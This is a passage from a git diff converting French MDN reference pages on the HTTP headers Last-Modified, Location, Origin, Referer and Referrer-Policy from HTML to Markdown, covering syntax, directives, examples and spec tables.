ex. "09" ou "23". +- \<minute> + - : Minute sur 2 chiffres, par ex. "04" ou "59". +- \<seconde> + - : Seconde sur 2 chiffres, par ex. "04" ou "59". +- `GMT` + - : Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT -</pre> + Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7232", "Last-Modified", "2.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "Last-Modified", "2.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2> +## Compatibilité navigateurs -<p>{{Compat("http.headers.Last-Modified")}}</p> +{{Compat("http.headers.Last-Modified")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("If-Modified-Since")}}</li> - <li>{{HTTPHeader("If-Unmodified-Since")}}</li> - <li>{{HTTPHeader("Etag")}}</li> -</ul> +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("Etag")}} diff --git a/files/fr/web/http/headers/location/index.md b/files/fr/web/http/headers/location/index.md index 2a6447e69e..5dc0666208 100644 --- a/files/fr/web/http/headers/location/index.md +++ b/files/fr/web/http/headers/location/index.md @@ -3,74 +3,58 @@ title: Location slug: Web/HTTP/Headers/Location translation_of: Web/HTTP/Headers/Location --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse <code>Location</code> indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état <code>3xx</code> (redirection) ou <code>201</code> (créé).</p> +L'en-tête de réponse `Location` indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état `3xx` (redirection) ou `201` (créé). -<p>En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par <code>Location</code> dépend la méthode d'origine et du type de redirection :</p> +En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par `Location` dépend la méthode d'origine et du type de redirection : -<ul> - <li>Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine;</li> - <li>{{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent.</li> -</ul> +- Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine; +- {{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent. -<p>Toutes les réponses avec l'un de ces codes d'état envoient un en-tête <code>Location</code>.</p> +Toutes les réponses avec l'un de ces codes d'état envoient un en-tête `Location`. -<p>En cas de création de ressource, il indique l'URL de la ressource nouvellement créée.</p> +En cas de création de ressource, il indique l'URL de la ressource nouvellement créée. -<p><code>Location</code> et {{HTTPHeader("Content-Location")}} sont différents : <code>Location</code> indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée.</p> +`Location` et {{HTTPHeader("Content-Location")}} sont différents : `Location` indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Location: <url> -</pre> + Location: <url> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><url></dt> - <dd>Une URL relative (à l'URL de la demande) ou absolue.</dd> -</dl> +- \<url> + - : Une URL relative (à l'URL de la demande) ou absolue. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Location: /index.html</pre> + Location: /index.html -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "Location", "7.1.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Specification | Title | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "Location", "7.1.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2> +## Compatibilité navigateurs -<p>{{Compat("http.headers.Location")}}</p> +{{Compat("http.headers.Location")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Location")}}</li> - <li>État des réponses, y compris un en-tête <code>Location</code> : {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}.</li> -</ul> +- {{HTTPHeader("Content-Location")}} +- État des réponses, y compris un en-tête `Location` : {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}. diff --git a/files/fr/web/http/headers/origin/index.md b/files/fr/web/http/headers/origin/index.md index 85498197f0..fecb90e2e2 100644 --- a/files/fr/web/http/headers/origin/index.md +++ b/files/fr/web/http/headers/origin/index.md @@ -5,73 +5,56 @@ tags: - Reference translation_of: Web/HTTP/Headers/Origin --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L’en-tête de requête <strong><code>Origin</code></strong> indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet.</p> +L’en-tête de requête **`Origin`** indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d’en-tête</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d’en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Origin: "" -Origin: <scheme> "://" <hostname> [ ":" <port> ] -</pre> + Origin: "" + Origin: <scheme> "://" <hostname> [ ":" <port> ] -<p><code>Origin</code> peut être une chaîne vide : c’est utile, par exemple, si la source est une <code>data</code> URL.</p> +`Origin` peut être une chaîne vide : c’est utile, par exemple, si la source est une `data` URL. -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><scheme></dt> - <dd>Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS.</dd> - <dt><hostname></dt> - <dd>Le nom de domaine du serveur (for virtual hosting) ou l’IP.</dd> - <dt><port> {{optional_inline}}</dt> - <dd>Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. <code>80</code> pour une URL HTTP) est supposé.</dd> -</dl> +- \<scheme> + - : Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS. +- \<hostname> + - : Le nom de domaine du serveur (for virtual hosting) ou l’IP. +- \<port> {{optional_inline}} + - : Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. `80` pour une URL HTTP) est supposé. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Origin: https://developer.mozilla.org</pre> + Origin: https://developer.mozilla.org -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{RFC("6454", "Origin", "7")}}</td> - <td>Le concept de Web Origin</td> - </tr> - <tr> - <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td> - <td>Remplace l’en-tête <code>Origin</code> tel que défini dans la RFC6454.</td> - </tr> - </tbody> -</table> +| Spécification | Commentaire | +| ------------------------------------------------------------------------ | ----------------------------------------------------------- | +| {{RFC("6454", "Origin", "7")}} | Le concept de Web Origin | +| {{SpecName('Fetch','#origin-header','Origin header')}} | Remplace l’en-tête `Origin` tel que défini dans la RFC6454. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Origin")}}</p> +{{Compat("http.headers.Origin")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Host")}}</li> - <li>{{HTTPHeader("Referer")}}</li> - <li>La <a href="/fr/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> -</ul> +- {{HTTPHeader("Host")}} +- {{HTTPHeader("Referer")}} +- La [Same-origin policy](/fr/docs/Web/Security/Same-origin_policy) diff --git a/files/fr/web/http/headers/referer/index.md b/files/fr/web/http/headers/referer/index.md index 17a4b3cbd9..7b4c2a12ee 100644 --- a/files/fr/web/http/headers/referer/index.md +++ b/files/fr/web/http/headers/referer/index.md @@ -9,76 +9,60 @@ tags: - referrer translation_of: Web/HTTP/Headers/Referer --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de requête <code><strong>Referer</strong></code> contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête <code>Referer</code> permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple.</p> +L'en-tête de requête **`Referer`** contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête `Referer` permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple. -<div class="warning"> -<p><strong>Attention :</strong> Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page <a href="fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Questions de sécurité et de vie privée : quid de l'en-tête <code>referer</code></a> pour plus d'informations et des méthodes d'atténuation.</p> -</div> +> **Attention :** Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page [Questions de sécurité et de vie privée : quid de l'en-tête `referer`](fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns) pour plus d'informations et des méthodes d'atténuation. -<p>Note : le terme <code>referer</code> est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "<em>referrer</em>". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête <code>referer</code> HTTP sur Wikipédia")}} pour plus de détails.</p> +Note : le terme `referer` est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "_referrer_". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête <code>referer</code> HTTP sur Wikipédia")}} pour plus de détails. -<p>Un en-tête <code>Referer</code> n'est pas envoyé par les navigateurs si :</p> +Un en-tête `Referer` n'est pas envoyé par les navigateurs si : -<ul> - <li>La ressource d'origine est un fichier local ou une URI de données.</li> - <li>Une requête non sécurisée HTTP est utilisée alors que la page référente avait été reçue via un protocole sécurisé (HTTPS).</li> -</ul> +- La ressource d'origine est un fichier local ou une URI de données. +- Une requête non sécurisée HTTP est utilisée alors que la page référente avait été reçue via un protocole sécurisé (HTTPS). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("En-tête de requête")}}</td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("En-tête de requête")}}</td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossaire/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Referer: <url> -</pre> + Referer: <url> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code><url></code></dt> - <dd>Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https://username:password@example.com/toto/truc/") ne sont pas incluses.</dd> -</dl> +- `<url>` + - : Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https\://username:password\@example.com/toto/truc/") ne sont pas incluses. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript</pre> + Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "Referer", "5.5.2")}}</td> - <td><em>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</em> (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu).</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | +| {{RFC("7231", "Referer", "5.5.2")}} | _Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content_ (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu). | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Referer")}}</p> +{{Compat("http.headers.Referer")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{interwiki("wikipedia", "HTTP_referer", "L'en-tête HTTP <code>referer</code> sur Wikipédia")}}</li> - <li>{{HTTPHeader("Referrer-Policy")}}</li> -</ul> +- {{interwiki("wikipedia", "HTTP_referer", "L'en-tête HTTP <code>referer</code> sur Wikipédia")}} +- {{HTTPHeader("Referrer-Policy")}} diff --git a/files/fr/web/http/headers/referrer-policy/index.md b/files/fr/web/http/headers/referrer-policy/index.md index 0020ea23fb..3f58c26997 100644 --- a/files/fr/web/http/headers/referrer-policy/index.md +++ b/files/fr/web/http/headers/referrer-policy/index.md @@ -14,254 +14,228 @@ tags: - referrer translation_of: Web/HTTP/Headers/Referrer-Policy --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête {{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> contrôle la quantité d'<a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informations sur le référent (referrer)</a> (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête.</p> +L'en-tête {{glossary("HTTP header")}} **`Referrer-Policy`** contrôle la quantité d'[informations sur le référent (referrer)](/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<div class="note"> -<p><strong>Note :</strong> Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête <code>Referrer-Policy</code> ne comporte pas cette erreur.</p> -</div> - -<pre class="syntaxbox">Referrer-Policy: no-referrer -Referrer-Policy: no-referrer-when-downgrade -Referrer-Policy: origin -Referrer-Policy: origin-when-cross-origin -Referrer-Policy: same-origin -Referrer-Policy: strict-origin -Referrer-Policy: strict-origin-when-cross-origin -Referrer-Policy: unsafe-url -</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><code>no-referrer</code></dt> - <dd>L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes.</dd> - <dt><code>no-referrer-when-downgrade</code> (default)</dt> - <dd>C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP). - <div class="note"> - <p><strong>Note :</strong> Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément <code>strict-origin-when-cross-origin</code> (voir <a href="https://github.com/whatwg/fetch/pull/952">https://github.com/whatwg/fetch/pull/952</a>), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy.</p> - </div> - </dd> - <dt><code>origin</code></dt> - <dd>N'envoie que l'{{glossary("origin")}} du document comme référent.<br> - Par exemple, un document à l'adresse <code>https://example.com/page.html</code> enverra le référent <code>https://example.com/</code>.</dd> - <dt><code>origin-when-cross-origin</code></dt> - <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas.</dd> - <dt><code>same-origin</code></dt> - <dd>Un référent sera envoyé aux <a href="/en-US/docs/Web/Security/Same-origin_policy">page de même origine</a>, mais des requêtes vers des adresses externes n'enverront aucune information sur le référent.</dd> - <dt><code>strict-origin</code></dt> - <dd>N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd> - <dt><code>strict-origin-when-cross-origin</code></dt> - <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd> - <dt><code>unsafe-url</code></dt> - <dd>Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité. - <div class="warning"> - <p><strong>Attention :</strong> Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir.</p> - </div> - </dd> -</dl> - -<h2 id="Intégration_avec_HTML">Intégration avec HTML</h2> - -<p>Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name</a> est <code>referrer</code> :</p> - -<pre class="brush: html"><meta name="referrer" content="origin"></pre> - -<p>Ou le définit pour des requêtes spécifiques avec l'attribut <code>referrerpolicy</code> sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} :</p> - -<pre class="brush: html"><a href="http://example.com" referrerpolicy="origin"></pre> - -<p>Autrement, une <a href="/en-US/docs/Web/HTML/Link_types">relation de lien</a> définie à <code>noreferrer</code> sur un élément <code>a</code>, <code>area</code>, ou <code>link</code> peut être défini :</p> - -<pre class="brush: html"><a href="http://example.com" rel="noreferrer"></pre> - -<div class="warning"> -<p><strong>Attention :</strong> Comme vu précédemment, la relation de lien <code>noreferrer</code> s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : <code><meta name="referrer" content="no-referrer"></code>.</p> -</div> - -<h2 id="Intégration_avec_CSS">Intégration avec CSS</h2> - -<p>CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi :</p> - -<ul> - <li>Les feuilles de styles CSS externes utilisant la règle par défaut (<code>no-referrer-when-downgrade</code>), moins qu'elle soit remplacée un l'en-tête HTTP <code>Referrer-Policy</code> dans la réponse de la feuille de styles CSS.</li> - <li>Pour les éléments {{HTMLElement("style")}} ou <a href="/en-US/docs/Web/API/HTMLElement/style">attributs <code>style</code></a>, la règle de référent du propriétaire du document est utilisée.</li> -</ul> - -<h2 id="Exemples">Exemples</h2> +## Syntaxe -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Règle</th> - <th scope="col">Document</th> - <th scope="col">Navigation vers</th> - <th scope="col">Référent</th> - </tr> - </thead> - <tbody> - <tr> - <th><code>no-referrer</code></th> - <td>https://example.com/page</td> - <td><em>n'importe où</em></td> - <td><em>(pas de référent)</em></td> - </tr> - <tr> - <th rowspan="3"><code>no-referrer-when-downgrade</code></th> - <td rowspan="3">https://example.com/page</td> - <td>https://example.com/otherpage</td> - <td>https://example.com/page</td> - </tr> - <tr> - <td>https://mozilla.org</td> - <td>https://example.com/page</td> - </tr> - <tr> - <td><strong>http</strong>://example.org</td> - <td><em>(pas de référent)</em></td> - </tr> - <tr> - <th><code>origin</code></th> - <td>https://example.com/page</td> - <td><em>n'importe où</em></td> - <td>https://example.com/</td> - </tr> - <tr> - <th rowspan="3"><code>origin-when-cross-origin</code></th> - <td rowspan="3">https://example.com/page</td> - <td>https://example.com/otherpage</td> - <td>https://example.com/page</td> - </tr> - <tr> - <td>https://mozilla.org</td> - <td>https://example.com/</td> - </tr> - <tr> - <td><strong>http</strong>://example.com/page</td> - <td>https://example.com/</td> - </tr> - <tr> - <th rowspan="2"><code>same-origin</code></th> - <td rowspan="2">https://example.com/page</td> - <td>https://example.com/otherpage</td> - <td>https://example.com/page</td> - </tr> - <tr> - <td>https://mozilla.org</td> - <td><em>(pas de référent)</em></td> - </tr> - <tr> - <th rowspan="3"><code>strict-origin</code></th> - <td rowspan="2">https://example.com/page</td> - <td>https://mozilla.org</td> - <td>https://example.com/</td> - </tr> - <tr> - <td><strong>http</strong>://example.org</td> - <td><em>(pas de référent)</em></td> - </tr> - <tr> - <td><strong>http</strong>://example.com/page</td> - <td><em>n'importe où</em></td> - <td>http://example.com/</td> - </tr> - <tr> - <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> - <td rowspan="3">https://example.com/page</td> - <td>https://example.com/otherpage</td> - <td>https://example.com/page</td> - </tr> - <tr> - <td>https://mozilla.org</td> - <td>https://example.com/</td> - </tr> - <tr> - <td><strong>http</strong>://example.org</td> - <td><em>(pas de référent)</em></td> - </tr> - <tr> - <th><code>unsafe-url</code></th> - <td>https://example.com/page?q=123</td> - <td><em>n'importe où</em></td> - <td>https://example.com/page?q=123</td> - </tr> - </tbody> -</table> +> **Note :** Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête `Referrer-Policy` ne comporte pas cette erreur. + + Referrer-Policy: no-referrer + Referrer-Policy: no-referrer-when-downgrade + Referrer-Policy: origin + Referrer-Policy: origin-when-cross-origin + Referrer-Policy: same-origin + Referrer-Policy: strict-origin + Referrer-Policy: strict-origin-when-cross-origin + Referrer-Policy: unsafe-url + +## Directives + +- `no-referrer` + - : L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes. +- `no-referrer-when-downgrade` (default) + + - : C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP). + + > **Note :** Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément `strict-origin-when-cross-origin` (voir <https://github.com/whatwg/fetch/pull/952>), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy. + +- `origin` + - : N'envoie que l'{{glossary("origin")}} du document comme référent. + Par exemple, un document à l'adresse `https://example.com/page.html` enverra le référent `https://example.com/`. +- `origin-when-cross-origin` + - : Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas. +- `same-origin` + - : Un référent sera envoyé aux [page de même origine](/en-US/docs/Web/Security/Same-origin_policy), mais des requêtes vers des adresses externes n'enverront aucune information sur le référent. +- `strict-origin` + - : N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP). +- `strict-origin-when-cross-origin` + - : Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP). +- `unsafe-url` + + - : Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité. + + > **Attention :** Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir. + +## Intégration avec HTML + +Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le [name](/en-US/docs/Web/HTML/Element/meta#attr-name) est `referrer` : + +```html +<meta name="referrer" content="origin"> +``` + +Ou le définit pour des requêtes spécifiques avec l'attribut `referrerpolicy` sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} : -<h3 id="Spécifier_une_règle_par_défaut">Spécifier une règle par défaut</h3> +```html +<a href="http://example.com" referrerpolicy="origin"> +``` -<p>Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position :</p> +Autrement, une [relation de lien](/en-US/docs/Web/HTML/Link_types) définie à `noreferrer` sur un élément `a`, `area`, ou `link` peut être défini : -<pre>Referrer-Policy: no-referrer, strict-origin-when-cross-origin</pre> +```html +<a href="http://example.com" rel="noreferrer"> +``` -<p>Ici, <code>no-referrer</code> ne sera utilisée que si <code>strict-origin-when-cross-origin</code> n'est pas supportée par le navigateur.</p> +> **Attention :** Comme vu précédemment, la relation de lien `noreferrer` s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : `<meta name="referrer" content="no-referrer">`. -<div class="notecard note"> - <p><strong>Note :</strong> Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP <code>Referrer-Policy</code> et non dans l'attribut <code>referrerpolicy</code>.</p> -</div> +## Intégration avec CSS -<h2 id="Spécifications">Spécifications</h2> +CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi : + +- Les feuilles de styles CSS externes 